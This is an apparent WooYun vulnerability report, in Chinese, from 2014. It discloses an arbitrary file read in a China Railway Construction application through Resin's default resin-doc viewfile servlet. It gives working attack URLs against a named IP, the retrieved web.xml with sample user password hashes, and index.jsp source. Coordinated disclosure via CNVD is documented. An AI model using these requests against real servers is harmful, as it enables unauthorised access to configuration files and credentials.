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缺陷编号：wooyun-2014-084338

漏洞标题：中国铁建某应用系统任意文件读取漏洞

相关厂商：中国铁建

漏洞作者： _Thorns

提交时间：2014-11-24 16:22

修复时间：2015-01-08 16:24

公开时间：2015-01-08 16:24

漏洞类型：任意文件遍历/下载

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

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漏洞详情

披露状态：

2014-11-24： 细节已通知厂商并且等待厂商处理中
2014-11-28： 厂商已经确认，细节仅向厂商公开
2014-12-08： 细节向核心白帽子及相关领域专家公开
2014-12-18： 细节向普通白帽子公开
2014-12-28： 细节向实习白帽子公开
2015-01-08： 细节向公众公开

简要描述：

中国铁建某应用系统存在任意文件读取漏洞，可以获取任意文件的源代码

详细说明：

漏洞网址：http://1.202.224.70:8080/
默认情况下，Resin的/webapps目录下/resin-doc中包含有一个扩展war文件。该文档包含有用于在集成的手册中浏览文件的servlet，可以无需参数在Web主目录中浏览任意文件
测试一个攻击url
http://1.202.224.70:8080/resin-doc/examples/security-basic/viewfile?file=WEB-INF/password.xml
http://1.202.224.70:8080/resin-doc/examples/security-basic/viewfile?file=WEB-INF/web.xml
攻击成功获取到WEB-INF/web.xml的文件内容

1.png


文件可以被分析敏感信息

WEB-INF/web.xml
<web-app>
  <display-name>login-xml</display-name>
  <welcome-file-list>
    <welcome-file>index.jsp</welcome-file>
    <welcome-file>index.html</welcome-file>
  </welcome-file-list>
  <!-- this is the jsp that a 'login' link uses -->
  <security-constraint>
    <web-resource-collection>
      <web-resource-name>Home</web-resource-name>
      <url-pattern>/home.jsp</url-pattern>
    </web-resource-collection>
    <auth-constraint>
      <!-- 
        '*' for a <role-name> means "authenticated user with any role"
        The user must be logged in with some kind of role to access
        the home page.  
      -->
      <role-name>*</role-name>
    </auth-constraint>
  </security-constraint>
  <security-constraint>
    <web-resource-collection>
      <web-resource-name>Professors</web-resource-name>
      <url-pattern>/professors/*</url-pattern>
    </web-resource-collection>
    <auth-constraint>
      <role-name>professor</role-name>
    </auth-constraint>
  </security-constraint>
  <security-constraint>
    <web-resource-collection>
      <web-resource-name>Students</web-resource-name>
      <url-pattern>/students/*</url-pattern>
    </web-resource-collection>
    <auth-constraint>
      <role-name>student</role-name>
      <role-name>professor</role-name>
    </auth-constraint>
  </security-constraint>
  <security-constraint>
    <web-resource-collection>
      <web-resource-name>Staff</web-resource-name>
      <url-pattern>/staff/*</url-pattern>
    </web-resource-collection>
    <auth-constraint>
      <role-name>staff</role-name>
      <role-name>professor</role-name>
    </auth-constraint>
  </security-constraint>
  <login-config>
    <auth-method>form</auth-method>
    <form-login-config>
      <form-login-page>/login.jsp</form-login-page>
      <form-error-page>/login.jsp?login_error=1</form-error-page>
    </form-login-config>
  </login-config>
  <!-- Resin-specific XmlAuthenticator configuration -->
  <authenticator>
    <type>com.caucho.server.security.XmlAuthenticator</type>
    <init>
      <!-- Optionally put user information here.  -->
      <user>pince:Txpd1jQc/xwhISIqodEjfw==:staff,website</user>
      <user>filch:KmZIq2RKXAHV4BaoNHfupQ==:staff</user>
      <!-- You can also use an external file --> 
      <path>WEB-INF/password.xml</path>
    </init>
  </authenticator>
  
  <security-role>
    <role-name>professor</role-name>
  </security-role>
  <security-role>
    <role-name>student</role-name>
  </security-role>
  <security-role>
    <role-name>staff</role-name>
  </security-role>
  <security-role>
    <description>member of the slytherin house</description>
    <role-name>slytherin</role-name>
  </security-role>
  <security-role>
    <description>member of the gryffindor house</description>
    <role-name>gryffindor</role-name>
  </security-role>
  <security-role>
    <description>member of the ravenclaw house</description>
    <role-name>ravenclaw</role-name>
  </security-role>
  <security-role>
    <description>member of the hufflepuff house</description>
    <role-name>hufflepuff</role-name>
  </security-role>
  <security-role>
    <description>website administrator</description>
    <role-name>website</role-name>
  </security-role>
</web-app>


再测试index.jsp的源码
http://1.202.224.70:8080/resin-doc/examples/security-basic/viewfile?file=index.jsp
成功获取到：

index.jsp
<%@ taglib prefix='c' uri='http://java.sun.com/jsp/jstl/core' %>
<%@ include file="/inc/nobrowsercache.jspf" %>
<%-- /index.jsp - default page for website. --%>
<html>
  <head>
    <title>Hogwart's</title>
  </head>
  <body>
    <%@ include file="/inc/buttonbar.jspf" %>
    <h1>Welcome to Hogwart's!</h1>
    This is a Defense Against the Dark Arts example of using
    JSP/Servlet security. 
    <a href="<c:url value='index.xtp'/>">Tutorial documentation</a> is 
    available.
    <p>
    Try doing a 
    <c:choose>
      <c:when test="${empty pageContext.request.userPrincipal}">
        <a href="<c:url value='home.jsp'/>">login</a>
      </c:when>
      <c:otherwise>
        <a href="<c:url value='logout.jsp'/>">logout</a>
      </c:otherwise>
    </c:choose>
    <p>
    To get a better understanding of how security works, try using
    the following links both when you are logged in and when you are
    not.
    <p>
    All of the links are in secure areas.  If you are not
    logged in a login procedure is put in by Resin before you get
    to the pages.  If you are logged in, you may be able to see them 
    or you may get a 'Forbidden' error.
    <p>
    Links to different areas:
    <ul>
      <li><a href="<c:url value='students/'/>">
	    Students (available to 'students' and 'professors')
	  </a>
      <li><a href="<c:url value='professors/'/>">
	    Professors (available to 'professors')
	  </a>
      <li><a href="<c:url value='staff/'/>">
	    Staff (available to 'staff' and 'professors')
	  </a>
    </ul>
    In a real application, you wouldn't show links like this -- you
    would get the user to login first and then only display the links
    that are available for their role.
    <%@ include file="/inc/footer.jspf" %>
  </body>
</html>

漏洞证明：

攻击成功获取到WEB-INF/web.xml的文件内容

1.png

修复方案：

版权声明：转载请注明来源 _Thorns@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-11-28 16:31

厂商回复：

CNVD确认并复现所述情况，已经由CNVD向中国铁建官方网站发送邮件，后续已与中国铁建信息中心建立直接处置渠道，对方已经着手处置。

最新状态：

暂无

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